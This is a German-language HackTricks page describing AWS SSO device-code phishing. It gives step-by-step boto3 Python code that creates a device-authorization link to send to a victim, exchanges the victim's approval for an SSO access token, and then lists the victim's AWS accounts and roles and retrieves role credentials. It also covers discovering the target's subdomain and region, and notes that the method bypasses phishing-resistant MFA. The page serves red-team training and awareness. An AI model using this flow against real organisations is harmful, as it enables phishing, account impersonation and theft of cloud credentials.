AWS - Identity Center & SSO Unauthenticated Enum

Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

AWS Gerätecode-Phishing

Ursprünglich vorgeschlagen in diesem Blog-Beitrag, ist es möglich, einem Benutzer über AWS SSO einen Link zu senden, der es dem Benutzer ermöglicht, wenn er akzeptiert, dass der Angreifer einen Token erhält, um den Benutzer zu imitieren und auf alle Rollen zuzugreifen, auf die der Benutzer im Identitätszentrum zugreifen kann.

Um diesen Angriff durchzuführen, sind folgende Voraussetzungen erforderlich:

  • Das Opfer muss das Identitätszentrum verwenden.

  • Der Angreifer muss das Subdomäne kennen, die vom Opfer verwendet wird <victimsub>.awsapps.com/start

Nur mit diesen Informationen wird der Angreifer in der Lage sein, dem Benutzer einen Link zu senden, der, wenn akzeptiert, dem Angreifer Zugriff auf das AWS-Benutzerkonto gewährt.

Angriff

  1. Ermitteln der Subdomäne

Der erste Schritt des Angreifers besteht darin, die Subdomäne des Opferunternehmens in ihrem Identitätszentrum herauszufinden. Dies kann über OSINT oder Raten + BF erfolgen, da die meisten Unternehmen hier ihren Namen oder eine Variation ihres Namens verwenden.

Mit diesen Informationen ist es möglich, die Region zu erhalten, in der das Identitätszentrum konfiguriert wurde:

curl https://victim.awsapps.com/start/ -s | grep -Eo '"region":"[a-z0-9\-]+"'
"region":"us-east-1
  1. Generieren Sie den Link für das Opfer & Senden Sie ihn

Führen Sie den folgenden Code aus, um einen AWS SSO-Anmelde-Link zu generieren, damit das Opfer sich authentifizieren kann. Für die Demonstration führen Sie diesen Code in einer Python-Konsole aus und beenden Sie sie nicht, da Sie später einige Objekte benötigen, um das Token zu erhalten:

import boto3

REGION = 'us-east-1' # CHANGE THIS
AWS_SSO_START_URL = 'https://victim.awsapps.com/start' # CHANGE THIS

sso_oidc = boto3.client('sso-oidc', region_name=REGION)
client = sso_oidc.register_client(
clientName = 'attacker',
clientType = 'public'
)

client_id = client.get('clientId')
client_secret = client.get('clientSecret')
authz = sso_oidc.start_device_authorization(
clientId=client_id,
clientSecret=client_secret,
startUrl=AWS_SSO_START_URL
)

url = authz.get('verificationUriComplete')
deviceCode = authz.get('deviceCode')
print("Give this URL to the victim: " + url)
  1. Warten Sie, bis das Opfer es akzeptiert

Wenn das Opfer bereits bei AWS angemeldet war, muss es nur die Berechtigungen akzeptieren. Wenn nicht, muss es sich anmelden und dann die Berechtigungen akzeptieren. So sieht die Aufforderung heutzutage aus:

  1. Holen Sie sich das SSO-Zugriffstoken

Wenn das Opfer die Aufforderung akzeptiert hat, führen Sie diesen Code aus, um ein SSO-Token zu generieren und sich als Benutzer auszugeben:

token_response = sso_oidc.create_token(
clientId=client_id,
clientSecret=client_secret,
grantType="urn:ietf:params:oauth:grant-type:device_code",
deviceCode=deviceCode
)
sso_token = token_response.get('accessToken')

Das SSO-Zugriffstoken ist 8 Stunden lang gültig.

  1. Benutzer impersonieren

sso_client = boto3.client('sso', region_name=REGION)

# List accounts where the user has access
aws_accounts_response = sso_client.list_accounts(
accessToken=sso_token,
maxResults=100
)
aws_accounts_response.get('accountList', [])

# Get roles inside an account
roles_response = sso_client.list_account_roles(
accessToken=sso_token,
accountId=<account_id>
)
roles_response.get('roleList', [])

# Get credentials over a role

sts_creds = sso_client.get_role_credentials(
accessToken=sso_token,
roleName=<role_name>,
accountId=<account_id>
)
sts_creds.get('roleCredentials')

Phishing des unphishbaren MFA

Es macht Spaß zu wissen, dass der vorherige Angriff auch funktioniert, wenn ein "unphishbarer MFA" (webAuth) verwendet wird. Dies liegt daran, dass der vorherige Workflow die verwendete OAuth-Domäne nie verlässt. Anders als bei anderen Phishing-Angriffen, bei denen der Benutzer die Login-Domäne ersetzen muss, ist im Fall des Gerätecode-Workflows ein Code von einem Gerät bekannt und der Benutzer kann sich sogar auf einem anderen Gerät anmelden. Wenn die Aufforderung akzeptiert wird, kann das Gerät nur durch Kenntnis des ursprünglichen Codes die Anmeldeinformationen für den Benutzer abrufen.

Für weitere Informationen dazu überprüfen Sie diesen Beitrag.

Automatische Tools

Referenzen

Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Last updated